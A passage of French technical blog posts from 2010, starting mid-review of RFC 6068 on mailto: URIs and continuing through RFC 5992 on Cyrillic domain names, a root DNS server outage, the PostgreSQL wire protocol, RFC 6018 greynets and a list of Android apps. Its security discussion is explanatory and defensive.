L'encodage des URI, sujet compliqué, justifie une section entière, la numéro 5. Le RFC 3986 impose un surencodage de certains caractères, que l'on peut trouver dans une adresse, dans un en-tête, ou dans le corps du message. Un exemple typique est l'espace, qui doit être écrit %20. Quant aux fins de ligne, elles doivent suivre la règle de l'Internet et être composées de deux caractères, %0D%0A. Tout logiciel qui produit des URI mailto: doit donc faire attention à encoder ces caractères « spéciaux ». Par exemple, dans un formulaire HTML, il est courant de représenter l'espace par un +. Mais cela peut créer une confusion avec les vrais +, qui peuvent se retrouver dans un URI mailto:, y compris dans l'adresse comme dans l'exemple bill+ietf@example.org que cite le RFC. Bref, l'espace doit être représenté avec %20 et le + par lui-même ou par %2B.

À noter que ce RFC n'inclut pas la possibilité d'utiliser des adresses de courrier complètement internatonalisées, la spécification de celles-ci étant encore marquée « expérimental ». Elle est devenue norme complète en 2012 avec le RFC 6530.

Les changements depuis le RFC 2368 sont rassemblés en section 9 : le principal est évidemment la possibilité d'inclure de l'UTF-8, encodé en pour-cent, possibilité qui ajoute l'internationalisation aux URI mailto:. Le nouveau plan mailto: est désormais enregistré dans le registre des plans, tel que documenté en section 8.

Comme l'utilisation normale d'un URI mailto: est une action (envoyer un message), il faut soigner la sécurité, à laquelle la section 7 est consacrée. L'utilisateur n'est pas forcément conscient de ce qu'il fait (d'autant plus que le texte du lien peut être trompeur, par exemple <a href="mailto:victim@example.com">Envoyez un message à attacker@example.net</a>). Le RFC insiste donc que le logiciel ne doit pas envoyer de message en réaction à un mailto: sans l'accord explicite et informé (affichage du contenu complet, et des en-têtes) de l'utilisateur. Autrement, l'utilisateur risque, sans s'en rendre compte, d'envoyer des messages qui lui vaudront des ennuis (par exemple parce qu'ils contiennent des menaces).

D'autre part, les URI mailto:, étant structurés, se prêtent bien à l'analyse et donc à la récupération automatique. Comme cette récolte a en général pour but l'envoi de spam, il peut être préférable de ne pas utiliser d'URI mailto: (c'est le cas de ce blog pour l'adresse indiquée en bas de chaque page).

Autre problème, la section 4 met en garde contre les en-têtes « dangereux ». Une liste indicative se trouve en section 3, incluant par exemple les en-têtes de routage du courrier comme Apparently-To:. From: est aussi dangereux (car il permet de faire envoyer un message qui ment sur sa source). Le RFC cite ensuite quelques en-têtes « sûrs » : Subject:, Keywords: et le pseudo en-tête body. Si un URI mailto: contient des en-têtes dangereux, le navigateur ne doit pas envoyer le message, ou alors il doit le « censurer » en ne tenant pas compte des dits en-têtes. De toute façon, en pratique, le créateur d'un URI mailto: ne peut pas espérer que les en-têtes autres que Subject: et body soient compris par le navigateur.


Téléchargez le RFC 6068


L'article seul

RFC 5992: Internationalized Domain Names Registration and Administration Guideline for European languages using Cyrillic

Date de publication du RFC : Octobre 2010
Auteur(s) du RFC : S. Sharikov (Regtime Ltd), D. Miloshevic (Afilias), J. Klensin
Pour information
Première rédaction de cet article le 5 octobre 2010


Les noms de domaines internationalisés connaissent en ce moment un intérêt particulier, notamment en raison de leur déploiement (très tardif) dans la racine (ainsi, .рф a été ajouté le 12 mai 2010). Plusieurs RFC ont été publiés pour adapter la norme IDN (Internationalized Domain Names) à différentes écritures et/ou langues et notre tout neuf RFC 5992 s'ajoute à la liste, pour le cas de l'alphabet cyrillique.

Contrairement au RFC 5564 qui n'envisageait que le cas d'une seule langue, ce RFC 5992 veut couvrir la plupart des langues qui utilisent aujourd'hui une écriture, la cyrillique. Il s'applique donc au russe mais aussi au bulgare, à l'ukrainien, au serbe, etc.

Parmi toutes les écritures existantes, beaucoup ne servent que pour une seul langue. Ce n'est pas le cas de l'alphabet cyrillique, qui sert pour plusieurs langues slaves mais aussi pour des langues parlées dans l'ancien empire des tsars tel que le same de Kildin ou (bien que cela ne soit plus guère le cas depuis la chute de l'URSS) les langues « asiatiques » comme l'azéri ou le kirghiz. Ce RFC se focalise sur les langues utilisées en Europe, ce qui inclus les langues slaves et le cas particulier du same de Kildin.

À noter que le cyrillique, dérivé de l'alphabet grec, partage avec ce dernier et avec son cousin l'alphabet latin, plusieurs caractères, ce qui peut mener dans certains cas à des confusions. Les problèmes que pourraient poser celles-ci ne sont pas détaillés dans le RFC, qui fait sans doute allusion au FUD comme quoi IDN augmenterait les risques de hameçonnage.

D'autre part, même dans les pays où l'écriture officielle est uniquement en cyrillique, et où son usage domine, on constate également une certaine présence de l'alphabet latin (par exemple pour les sigles techniques, regardez un article d'informatique écrit en russe, pour un exemple voir l'article du Wikipédia russophone sur le Web et ses mentions de HTML). Les utilisateurs souhaiteraient donc parfois pouvoir enregistrer des noms de domaine mêlant les deux alphabets, ce que le RFC déconseille fortement, sans expliquer pourquoi (section 1).

La section 1.1 expose la question des caractères « similaires » (terme impossible à définir rigoureusement, entre autres parce que cela dépend de la police d'affichage). Sans expliquer vraiment le problème, le RFC propose d'utiliser des mécanismes de « variantes » tels que présentés dans les RFC 3743 et RFC 4290.

Place maintenant aux langues et à leurs caractères. La section 2 décrit précisement les caractères nécessaires pour chaque langue. Vingt-trois « caractères de base » sont introduits, car ils sont communs à toutes les langues. Ils vont de U+0430 (а) à U+0448 (le cha, ш), mais avec quelques trous. Ils incluent en outre les chiffres et le tiret. Il suffit donc ensuite de définir pour chaque langue les quelques caractères supplémentaires nécessaires. (On peut noter que la liste utilisée par le registre du .eu a 32 caractères.)

Ainsi, le « serbo-bosnien » utilise les vingt-trois caractères de base plus sept autres, comme le U+045F (« dzhe », џ). Le bulgare n'a pas ce caractère mais se sert entre autres du U+044F (ya, я). Le russe a besoin de trente-trois caractères en tout. Le RFC donne la liste complète pour chaque langue slave. Celles qui ne s'écrivent pas en cyrillique (ou qui ne s'écrivent plus dans cet alphabet, comme le moldave) ont été omises. À noter que, pour certaines langues, il existait déjà une liste officielle des caractères nécessaires. C'est le cas du monténégrin pour lequel la norme gouvernementale est http://www.gov.me/files/1248442673.pdf. En revanche, pour d'autres langues, il semble que l'orthographe ne soit pas complètement stabilisée. C'est le cas de l'ukrainien où les chiffres vont de trente-et-un à trente-quatre caractères (la dernière valeur étant recommandée par le RFC, pour être sûr de tout couvrir). Par exemple, certains affirment que le U+044A (ъ) est nécessaire, d'autres disent qu'il vaut mieux utiliser le U+044C (ь) à la place. (À noter que les linguistes considèrent souvent que certaines langues n'en sont pas réellement, elles ont juste un nom différent pour des raisons politiques. Le monténégrin n'existe ainsi que depuis l'indépendance du Monténégro, tout le monde l'appelait serbe avant...)

Seule langue non-slave du groupe, le same de Kildin fait l'objet de la section 2.4. Son orthographe n'est pas normalisée et son système de sons est complexe, et difficile à rendre en cyrillique. Il faut donc rajouter trente-trois caractères au jeu de base comme par exemple le U+04CE (ӎ). La section 2.4 contient des références vers des sources plus précises sur cette langue et son orthographe, si vous voulez approfondir la question.

Une fois ces listes établies, on peut compiler des tables qui indiquent les caractères autorisés (sections 3 et 4). La section 5 donne le format de la table qui figure dans l'annexe A du RFC : elle comprend au moins ligne de quatre colonnes par caractère. La première colonne indique le point de code Unicode du caractère cyrillique, la seconde son nom, la troisième et la quatrième les points de code et noms d'un caractère latin ou grec qu'on peut confondre avec le caractère cyrillique. Ainsi, U+0430 (le а cyrillique) est indiqué comme confondable avec le petit a latin, U+0061, mais aussi avec l'alpha grec, si on met les deux lettres en majuscules (le +++ dans la première colonne indique que la confusion n'existe qu'en cas de changement de casse). De même, le U+0433 (г, le ge) est indiqué comme proche du petit r, U+0072. Notez qu'il s'agit bien d'une confusion visuelle et pas sémantique. Le U+0440 (р) peut être confondu avec le p latin mais il représente un son complètement différent (proche du r).

Bien, armé de ces observations et de cette table, que peut faire un registre de noms de domaines qui accepte les caractères cyrilliques ? Prenons l'exemple classique du sigle russe de l'ancienne URSS, СССР. Ce sigle en cyrillique { U+0421 U+0421 U+0421 U+0420 } et le texte latin { U+0043 U+0043 U+0043 U+0050 } sont très proches. Alors, que doit faire un registre qui accepte les caractères cyrilliques et les latins (ce qui est le cas de .eu) ? Il peut allouer СССР et CCCP (le premier est en cyrillique, le second en latin) au même titulaire. Il peut n'autoriser qu'un des deux noms et bloquer l'autre. Ici, il n'y a que deux variantes. Mais, dans certains cas, il peut y en avoir plus (surtout en ajoutant l'alphabet grec ce qui, là encore, est le cas du .eu). Le registre peut alors choisir une solution intermédiaire en enregistrant certaines variantes et en bloquant d'autres. Ces possibilités, et leurs conséquences, sont discutées dans la section 6.


Téléchargez le RFC 5992


L'article seul

Un serveur racine du DNS dans la tempête

Première rédaction de cet article le 3 octobre 2010


C'est une tempête essentiellement médiatique qui a affecté le serveur racine du DNS H.root-servers.net le premier octobre. Certes, pris dans la tempête tropicale Nicole, le serveur a bien été arrêté pendant plusieurs heures. Mais cette panne serait complètement passée inaperçue, vu le nombre de serveurs racine en service, sans un article sensationnaliste sur Slashdot.

Les faits sont d'une grande sécheresse et n'auraient normalement intéressés que les lecteurs besogneux de la liste dns-operations de l'OARC : un des treize serveurs de la racine du DNS, H.root-servers.net, situé à Aberdeen dans une zone plutôt cyclonique, a été arrêté, les lignes qui le relient à l'Internet ayant été coupées par des poteaux tombés, et l'indondation ne permettant pas une réparation rapide. Personne, en dehors de petits cercles comme les membres de l'OARC, ne s'est aperçu de rien car il y a treize serveurs équivalents (et bien plus de machines physiques). La fiabilité de la racine ne dépend pas du bon fonctionnement de tous les serveurs à un moment donné, mais du fait qu'ils sont suffisamment nombreux et dispersés sur toute la planète pour qu'une catastrophe naturelle ne les frappe pas tous en même temps (c'est en utilisant ces techniques que .ht a survécu au tremblement de terre.) Mais un troll de service a transformé ce non-événement en article à sensation sous le titre « Army DNS ROOT Server Down For 18+ Hours ».

Et alors ? Alors rien, beaucoup de bruit pour absolument rien. Les douze autres serveurs ont continué leur travail et aucun utilisateur n'a vu le moindre problème. Une situation analogue à celle de la panne dite « attribut 99 » où certains avaient prétendu que .fr avait été affecté alors qu'un seul serveur était injoignable (tous les autres continuant leur service). Évidemment, si on scrute DNSmon en détail, ce que font les professionnels, on voit de nombreuses perturbations. Mais la très grande majorité n'atteint jamais l'utilisateur.

Donc, heureusement que l'article nullissime de Slashdot a été suivi de quelques commentaires intelligents : merci donc à forkazoo pour rappeler que même la panne de tous les serveurs racine ne couperait pas instantanément le DNS, et à A beautiful mind pour noter que H est de loin l'un des serveurs racine les plus petits et que certains des autres sont autrement mieux dotés. D'autre part, l'Internet Storm Center a publié un court (il n'y avait pas besoin de faire long) article sur ce sujet.


L'article seul

Le protocole d'accès au serveur de PostgreSQL

Première rédaction de cet article le 1 octobre 2010


Alors que tout l'Internet repose sur des protocoles normalisés, décrits en détail dans des documents stables et accessibles publiquement (les RFC), il existe un domaine où il n'y a pas de protocole réseau standard : l'accès aux serveur de base de données. Que les logiciels soient libres comme MySQL ou PostgreSQL ou bien privateurs comme Oracle, le protocole de communication entre le client et le serveur est complètement spécifique. À quoi ressemble celui de PostgreSQL ?

Certains points sont plus ou moins normalisés. Par exemple, le langage des requêtes, SQL a fait l'objet de normes, malheureusement non accessibles publiquement, ce qui supprime une bonne partie de son intérêt (et aide à comprendre la sérieuse divergence des mises en œuvre de SQL). En outre, cette norme est très difficile à déchiffrer.

De même, pour une communication entre une application et le client qui tourne sur la même machine, il existe des solutions plus ou moins standardisées comme ODBC ou JDBC. Mais sur le câble, sur le vrai fil où passe les paquets, quel est le protocole ? Eh bien, cela dépend du SGBD.

Il y a des gens qui trouvent que c'est mieux comme cela. Je me souviens d'avoir entendu un commercial Oracle, il y a quelques années, expliquer que le fait qu'Oracle utilise un protocole non-standard protégeait contre les sniffers qui, autrement, auraient pu capturer le mot de passe. Pour voir à quel point c'est idiot, il suffit d'essayer l'excellent dSniff, qui décode le protocole d'Oracle (le source est dans le fichier decode_oracle.c), Net8 (autrefois appelé SQL*Net). (Un petit piège est documenté dans la FAQ.)

Bon, et PostgreSQL, comment fait-il ? Il a aussi un protocole privé, mais très bien documenté. Si vous voulez un exemple réel pour vous instruire, vous pouvez analyser une session PostgreSQL avec Wireshark (qui a un excellent décodeur PostgreSQL) ou bien tout simplement regarder en ligne avec les bons moyens d'affichage de pcapr une session PostgreSQL complète.

Bon, le protocole est documenté. Mais est-il suffisamment stable pour qu'on puisse créer des clients natifs, plutôt que de passer par la bibliothèque libpq voire carrément par le client en ligne de commande psql, avant analyse du texte produit ? Les différents mises en œuvre de bibliothèque PostgreSQL ont suivi des chemins différents. Par exemple, pour Emacs, il existait un excellent mode psql-mode (qui semble avoir disparu de son site originel mais dont on trouve encore des copies par-ci par-là), qui fonctionne en lançant la commande psql puis en analysant le résultat. Ou bien il existe une bibliothèque native, pg.el, entièrement en Emacs Lisp.

De même, pour tout nouveau langage de programmation, se pose la question de la réalisation d'une bibliothèque PostgreSQL. Appeler libpq, ce qui oblige à dépendre de C ? C'est ce que fait, pour Python, la bibliothèque psycopg. Ou bien tout faire soi-même ? Pour Go, le premier effort de création d'une telle bibliothèque, go-pg, utilisait la libpq (ce qui faisait perdre un certain nombre de propriétés de Go comme la gestion complète de la mémoire). Le deuxième projet, bien plus perfectionné, go-pgsql a choisi la voie native et semble très bien fonctionner.

En parlant de Go, j'ai fait moi-même, pour apprendre le protocole, un petit programme qui se connecte à un serveur distant, effectue une requête simple et récupère les résultats. Le protocole est un protocole binaire plutôt simple, avec des règles très cohérentes partout. Mais j'ai découvert que le protocole n'était pas complètement spécifié, notamment pour les méthodes d'authentification. Ainsi, la documentation de l'authentification MD5 ne précise pas du tout qu'il faut concaténer le mot de passe avec le nom, ni qu'il faut faire deux hachages successifs. Cela, on ne l'apprend qu'en lisant le code du serveur ou de la libpq (ou, dans mon cas, en lisant le source Lisp de la bibliothèque Emacs citée plus haut). Bref, si cela vous amuse, mon petit programme est en test-protocol-postgresql.go. Ce n'est qu'un programme d'exploration (pas de factorisation du code, pas de machine à états, etc), n'en attendez pas plus.


L'article seul

RFC 6018: IPv4 and IPv6 Greynets

Date de publication du RFC : Septembre 2010
Auteur(s) du RFC : F. Baker (Cisco), W. Harrop, G. Armitage (CAIA, Swinburne University of Technology)
Pour information
Première rédaction de cet article le 30 septembre 2010


Il y a longtemps que les chercheurs en sécurité des réseaux utilisent des darknets, des réseaux dont les adresses IP ne sont normalement pas attribuées, pour analyser les attaques. Si on annonce une route vers un tel réseau, le trafic qu'on capte est essentiellement composé d'attaques ou de reconnaissances préalables à une attaque puisque rien de légitime ne peut utiliser ces réseaux. L'inconvénient des darknets est qu'ils sont trop gros et trop visibles : les attaquants apprennent vite leur existence et les mettent alors sur leur liste « pas touche » et les attaques cessent. Ce RFC décrit une alternative, le greynet, dont le préfixe IP est alloué et routé mais au sein duquel certaines adresses ne correspondent pas à une machine en activité.

Normalement, un routeur IP doit jeter les datagrammes destinés à une adresse qui ne répond pas aux requêtes ARP (RFC 826) ou ND (RFC 4861). On pourrait envisager de configurer des règles spéciales par adresse IP, pour copier les datagrammes destinés à ces machines vers la sonde d'observation. Mais, pour construire facilement le greynet, le RFC suggère une autre méthode : configurer le routeur pour que, au lieu de jeter les paquets qui ne peuvent pas être délivrés, il les copie vers la machine de surveillance. Toute adresse IP non affectée devient alors membre du greynet.

On peut ainsi détecter les attaques (ou les reconnaissances) vers ces adresses, mais aussi les cas d'usurpation de ces adresses par un tiers. Ces usurpations vont en effet produire du backscatter, de l'émission par les cibles en réponse aux reconnaissances, et une partie au moins de ce backscatter atteindra le greynet.

La section 2 sert ensuite de manuel pour l'administrateur réseaux qui voudrait déployer un tel système. Il doit évidemment d'abord mettre en place la machine de collecte, qui va recevoir les paquets, les enregistrer et plus tard les analyser. Ensuite, il peut utiliser le routage IP normal et choisir un préfixe non utilisé pour le router vers cette machine, créant ainsi un darknet (section 2.1). Sur Linux, par exemple, cela se ferait avec route add -net 192.0.2.128/25 gw 198.51.100.1192.0.2.128/25 est le préfixe du darknet et 198.51.100.1 l'adresse de la machine de collecte.

Mais s'il veut faire un greynet, il lui faut un routeur un peu spécial (section 2.2) qui va devoir, lorsqu'il reçoit un paquet pour lequel il n'a pas eu de réponse aux requêtes ARP et ND, le faire suivre à la machine de collecte. C'est à la fois plus simple qu'un darknet (pas de configuration explicite, à part l'adresse de la machine de collecte, cf. section 3) et plus compliqué (aucun routeur IP normal ne sait faire cela : en cas de non-réponse à ARP et ND, le paquet est abandonné).

La première documentation des greynets était dans « Greynets: a definition and evaluation of sparsely populated darknets », dans la 30th Conference on Local Computer Networks de l'IEEE en 2005. Elle a été suivie de plusieurs expériences, résumées dans la section 1.1 du RFC. L'utilisation du routeur pour identifier les adresses du greynet (ce sont celles qui ne répondent pas en ARP ou en ND) est venue après. La première mise en œuvre était sur un routeur Linux. Le fichier à récupérer est http://www.owenstephens.co.uk/files/neigh_fwd.c, et il se place dans le répertoire net/core des sources du noyau. Il faut ensuite appeler les fonctions nécessaires depuis neighbour.c, le moyen le plus simple étant sans doute de patcher ce dernier avec http://www.owenstephens.co.uk/files/neighbour.c.diff. (Merci à Owen Stephens pour avoir mis les sources en ligne.)

L'ajout d'IPv6 est venue encore ultérieurement. Bien qu'on entende souvent dire qu'un balayage complet d'un réseau IPv6 est impossible, vu le nombre d'adresses possibles, le RFC 7707 a montré que c'était faux. En pratique, les attaques IPv6 n'ont jamais été observées dans la nature mais il ne fait guère de doute que cela se produira un jour.

Un dernier avertissement pour ceux qui veulent tenter l'aventure : lisez bien la section 6 sur la sécurité. Tout dispositif de collecte peut faire l'objet d'abus, par exemple par un méchant qui, sachant qu'une collecte est en cours, va tenter de la saturer en envoyant plein de paquets.


Téléchargez le RFC 6018


L'article seul

Mes applications favorites pour Android

Première rédaction de cet article le 29 septembre 2010
Dernière mise à jour le 8 octobre 2010


Depuis que je suis l'heureux possesseur d'un smartphone (phono sapiens ?), un HTC Desire, tournant sous Android 2.1, j'ai essayé quelques applications intéressantes, ainsi que des applications classiques mais avec des usages peut-être originaux. Donc, cet article est l'occasion de documenter un peu tout ça.

Comme Android, contrairement à iOS, n'oblige pas les développeurs à passer devant un Comité Central d'Approbation, qui décidera si leur programme mérite ou non d'être accessible, il existe un très grand nombre de logiciels pour Android. On peut les charger sur le Market officiel, sur un market alternatif ou bien directement sur le site Web de l'auteur (curieusement, un très grand nombre de ces applications ne semblent pas avoir de site Web officiel, voilà pourquoi je n'ai pas toujours mis de lien : si vous le connaissez, n'hésitez pas à le signaler). Beaucoup de ces applications sont libres, la plupart sont gratuites (toutes les applications citées ici sont gratuites sur le Market et, sauf erreur, la plupart sont libres ; les autres affichent souvent de la publicité dans un coin de l'écran). Mais attention, le niveau de qualité est très variable : on rencontre plein d'applications à moitié finies ou abandonnées par leur mainteneur. Il ne faut donc pas forcément se précipiter et tout installer, certaines vous feront perdre pas mal de temps avant que vous ne constatiez qu'elles ne sont vraiment pas au point. D'où l'intérêt des listes que font certains, par exemple celle de Geek Feat ou celle de FrAndroid. C'est d'autant plus vrai qu'Android est une plate-forme riche et complexe et que la maîtriser prend du temps ! (Comme le disait Bjarne Stroustrup, « I have always wished for my computer to be as easy to use as my telephone; my wish has come true because I can no longer figure out how to use my telephone. ».)

Commençons par ce qui était le plus important pour moi, les fonctions d'« assistant personnel ». Mon cahier des charges était entre autres de ne pas échapper au Charybde Apple pour tomber dans le Scylla Google. Est-ce possible sur Android d'avoir agenda et carnet d'adresses sans passer par Google ? J'ai bien un compte Google, et même un agenda public, mais je ne voulais pas donner toutes mes informations à Google. L'excellente page « Se passer de Google sur Android » rassemble des conseils pour configurer les applications d'Android sans Google ou bien pour les remplacer. (Il y a aussi un article sur la technique pour n'installer que certaines applications Google.)

Le logiciel d'agenda d'Android est plutôt bien fait. Il gère par exemple très bien le fait d'avoir plusieurs agendas (un en local et un public chez Google, par exemple). Il utilise correctement le mécanisme de recherche d'Android (Paramètres -> Recherche -> Sources). Il n'a pas de concurrent, de toute façon (un projet comme AnCal a été abandonné et le logiciel Jorte, parfois cité, est plutôt pauvre, par exemple il n'a pas le concept d'évenements récurrents, je l'ai donc désinstallé). On notera que la page « Se passer de Google sur Android » citée plus haut ne parle pas de l'agenda. C'est en effet le point le plus noir d'Android. On peut se servir du client Agenda de Android sans Google, en utilisant un agenda local. Il ne semble pas y avoir de moyen simple de créer son propre agenda local mais Android 2.1 venait avec un tel agenda nommé Local, et Android 2.2, s'il a supprimé le précédent, a un agenda « PC Sync » qui semble convenir. Même après synchronisation, on ne le voit pas sur Google (je n'ai pas vérifié avec un sniffer que rien n'était transmis...).

Donc, on peut utiliser le client Agenda sans envoyer ses données à Google. Reste à les sauvegarder, voire à les synchroniser avec d'autres services, ce qui fait l'objet d'article spécifique.

Par rapport à l'Agenda, les Contacts ont été d'une simplicité enfantine. J'ai coupé la synchronisation avec Google, et récupéré les contacts qui étaient enregistrés dans le Palm, en passant par le format standard vCard (RFC 2415). Pour les sauvegardes, l'outil Contacts d'Android sait exporter en vCard sur la carte SD du téléphone, qu'on récupére ensuite en connectant le téléphone à un ordinateur par son câble USB. Curieuse incohérence de la part de Google que leur outil Contacts sache lire et écrire des fichiers vCard alors que leur outil Agenda ne sait pas lire ou écrire des fichiers iCalendar (plus exactement, il ne sait pas importer ou exporter la totalité de l'agenda mais il permet d'envoyer une entrée - et une seule - au format iCalendar / vCalendar)...

On peut stocker beaucoup de choses sur les quatre gigas de la carte SD incluse dans le HTC Desire. Il est donc préférable d'avoir un gestionnaire de fichiers pour s'y retrouver. Or, Android n'en a pas par défaut ! Ce n'est pas très grave car il y en existe plusieurs bons et j'utilise Astro, qui permet de voir les fichiers, les copier, les détruire, indiquer la place prise par les dossiers, etc.

Et pour le courrier ? On n'est pas obligé d'utiliser Gmail, le client de courrier standard (« E-Mail ») peut parler IMAP. Par contre, je n'ai jamais réussi à lui faire faire du SMTP avec authentification (RFC 6409), l'application prétend à chaque fois que le serveur SMTP ne propose pas d'authentification. Heureusement, il existe d'autres MUA disponibles sur Android, et qui fournissent les fonctions qui manquent cruellement à E-mail (comme la possibilité de transférer un message dans un autre dossier...). K9 mail semble le plus recommandé et c'est celui que j'ai adopté. Tout y marche très bien. (Curiosité : le Message-ID: fabriqué automatiquement se termine par @email.android.com...)

Ah, au passage, un autre point noir d'Android : on n'est pas obligé d'utiliser les applications livrées avec le système mais on ne peut pas les désinstaller (sauf si le téléphone est rooté). Ainsi, j'ai abandonné E-Mail au profit de K9, je n'ai jamais utilisé Bourse mais je dois quand même les laisser prendre de la place sur disque (et programmer un gestionnaire d'applications pour les tuer et les empêcher de consommer de la mémoire).

Une des utilités que je voyais au smartphone était la possibilité de se connecter en SSH de n'importe où, pour les machines que je gère. Le client SSH le plus recommandé semble être ConnectBot qui semble en effet excellent. On peut changer la taille des caractères dans le menu de configuration de chaque serveur, mais pas avec le mécanisme de zoom habituel d'Android, il faut utiliser le bouton... de contrôle du volume !.

Ce téléphone sert entre autre pour un usage professionnel et la sécurité est donc importante (par exemple, je ne mets pas encore de clés privées SSH sur cette machine, tant que tout le monde y a accès). Par défaut, la carte SIM est certes protégée par son code PIN mais ce n'est pas le cas de tout le reste du téléphone. Quiconque l'allume a donc tous les droits. Il va falloir que je trouve un système de verrouillage, je suppose que c'est quelque part dans la documentation...

Après ces outils peu amusants mais indispensables à l'homme moderne, place aux choses plus ludiques. D'abord, les cartes. Je n'avais pas envie de dépendre de Google Maps d'autant plus qu'il faut une connexion Internet. Contrairement à une légende répandue, on n'est pas toujours connecté ; même avec un abonnement 3G, le souci d'économiser la batterie et, surtout, les tarifs du roaming (à l'étranger, au moment où on a le plus besoin de cartes !) font que je préfère avoir les cartes en local. D'autant plus qu'il existe un superbe projet de création de données cartographiques libres et réalisées par les utilisateurs eux-même : OpenStreetMap, qui est aux cartes ce que Wikipédia est à la connaissance. L'excellent logiciel MapDroyd utilise les données OpenStreetMap, indique la position mesurée par le GPS du téléphone, et est très agréable, notamment sa possibilité de fonctionner entièrement hors-ligne, avec un choix simple des cartes que l'on télécharge (attention, toutefois, les données sont énormes et on ne peut pas tout charger à la fois, même sur les quatre gigaoctets de la carte SD livrée avec le HTC Desire ; heureusement, MapDroyd permet de gérer les cartes - ajout et enlèvement - très facilement). Par contre, MapDroyd n'a apparemment pas de fonctions de navigation : on ne peut pas lui donner une destination (que ce soit sous la forme d'une adresse ou bien en longitude/latitude) et lui demander de nous y emmener.

Pour cela, il faut se tourner vers gvSIG mini (la fonction d'analyse des adresses semble très sommaire) ou AndNav2 ou encore OpenSatNav. Il va falloir que je les teste mais aucun d'eux ne fonctionne hélas hors-ligne.

Pour accéder aux données GPS, les enregistrer, etc, on m'a recommandé Open GPS Tracker. Antennas, par contre, semble fonctionner avec les informations GSM, pas GPS.

En parlant d'OpenStreetMap, il faudrait aussi, maintenant que j'ai le matériel adapté, que j'y contribue. Disons que, pour l'instant, la documentation d'introduction est un peu effrayante et qu'une chose aussi simple que de corriger un bureau de poste mal placé Porte de Vanves semble nécessiter des compétences assez pointues (pour corriger des erreurs simples, il est peut-être préférable de passer par OpenStreetBugs, que me suggère Emmanuel H. mais qui ne semble pas fonctionner ni avec mon Firefox, ni avec mon Chrome). Dès que j'ai le courage, je m'y mets.

Plus facile, l'utilisation de Twitter. Un client est livré avec Android, Peep. Mais il y en a plein d'autres, vu le caractère essentiel, vital et critique de ce service. Plume (ex-Touiteur) est souvent conseillé. Je le trouve en effet agréable. Une étude comparée des clienst Twitter sur Android se trouve en http://androinica.com/2010/03/25/the-best-android-twitter-app-is-droid-vs-droid/.

J'utilise régulièrement le système Vélib. Y a t-il une application sur Android pour trouver un vélo libre, sachant que la Mairie de Paris ne prend en compte que les clients du téléphone fermé d'Apple et que l'API n'est pas officiellement documentée ? Molib ne me convainc pas : très riche graphiquement (avec vue en perspective des stations) mais manquant de certaines fonctions essentielles (comme la possibilité de trouver des stations ayant de la place, pour repose son vélo : Molib indique les stations ayant des vélos mais sans différencier les pleines des autres). J'ai eu des recommandations pour Veloid et OpenVelib. J'utilise désormais OpenVelib, qui a toutes les fonctions nécessaires.

Outre le Vélib, j'utilise souvent trains de banlieue et RER mais je n'ai pas encore cherché les applications d'information en temps réel sur le trafic, qui seraient certainement très utiles.

Un des avantages d'un smartphone est qu'on l'a toujours sur soi, prêt à être utilisé. C'est peut-être pratique pour réviser ses leçons. Par exemple, pour apprendre le lojban. Mais je n'ai pas encore trouvé de tutoriel Lojban sur Android... Question e-book, vous pouvez lire mes essais dans un autre article.

Et pour programmer ? Bien que le langage Go et Android sortent de la même entreprise, il ne semble pas y avoir déjà de moyen simple (i.e. sans rooter la machine) d'installer Go sur Android. En attendant, je garde en mémoire quelques liens sur les moyens de programmer en Python sur Android (pas encore essayé).

Tiens, pour garder sur mon téléphone une copie des fichiers sur lesquels je travaille, il y a même un client Subversion, Subdroid (pas encore testé).

Bien sûr, une des fonctions les plus centrales de tout téléphone portable est la configuration des sonneries. Cela peut se faire sur Android comme ailleurs mais je ne m'y suis pas encore lancé. Le jour où je le ferai, il existe un excellent éditeur de sons, permettant de prendre un MP3, d'en sélectionner une partie, de l'installer comme sonnerie ou alarme, etc : Ringroid.

Android reposant sur un noyau Linux, il ne devrait pas y avoir de problème à avoir un terminal ouvert, ou à installer un serveur SSH pour se connecter à distance. Mais j'ai l'impression que cela ne fonctionne que pour des téléphones rootés ce que je n'ai pas fait immédiatement. Pour cette raison, et pour le problème des outils de programmation (voir plus haut), je n'ai pas encore essayé d'écrire mon blog sur mon téléphone.

Un téléphone portable se déplace, par définition, et beaucoup de ses fonctions dépendent d'un accès à l'Internet (ou, au minimum, au Web). La 3G fournit cet accès mais à un prix élevé, surtout en roaming. Le Wifi, qu'on trouve partout en ville, fournit une solution intéressante mais, en se promenant dans Paris, on en croise, des bornes Wifi (en bonne partie grâce à FreeWifi auquel je suis abonné). Pour voir facilement la « meilleure », il existe plusieurs logiciels et, pour l'instant, je me sers de Wifi Analyzer, simple et pratique. Cela me fait penser que je voudrais bien pouvoir sniffer le trafic Wifi du téléphone, pour voir si Google ou d'autres applications n'envoient pas trop de choses, ce qui consomme des ressources réseau et peut indiquer un problème de respect de la vie privée. Si le trafic est protégé par WPA ou équivalent, une autre machine ne peut pas, je l'espère, examiner le trafic et il faut donc sniffer depuis le téléphone lui-même. Il existe apparemment plusieurs sniffers sur le Market, à tester.

Pour lire les code-barres 2D, si fréquents aujourd'hui, j'utilise Barcode Scanner (voir aussi cet article) mais il existe aussi Neo Reader. Pour créer des codes-barres 2D avec ses informations de contact, je recommande http://zxing.appspot.com/generator/. C'est avec lui qu'a été créée cette image, qui indique comment me contacter :contact-info-barcode.png. Le projet Proxima Produit, qui promet des services orientés consomateur sur mobiles. Quant à CodeOnLine, leur logiciel n'est pas proposé pour le HTC Desire.

Question réseau, il existe plein de petits logiciels qui affichent des informations sur la connexion du téléphone Android. La meilleure semble être Network Info II qui affiche tout ce dont on peut rêver, même l'adresse IPv6. Eh oui, Android 2.1 a IPv6 (apparemment, seulement sur le Wifi) et voici ce que voit un site Web visité :

2a01:e35:8bd9:8bb0:3ae7:d8ff:fed0:22f3 - - [29/Sep/2010:17:39:17 +0200] \
      "GET / HTTP/1.1" 200 247105 "-" "Mozilla/5.0 (Linux; U; Android 2.1-update1; \
      fr-fr; Desire_A8181 Build/ERE27) AppleWebKit/530.17 (KHTML, like Gecko) \
      Version/4.0 Mobile Safari/530.17" www.bortzmeyer.org

D'autres outils comme Netinfo n'affichent pas l'adresse v6. Si on veut faire des tests actifs sur le réseau, NetTools me semble bien, alors que Ping & DNS est très bogué pour moi. Le meilleur logiciel de test DNS est DNSdroid. Mais il ne permet pas de faire des requêtes DNS quelconques.

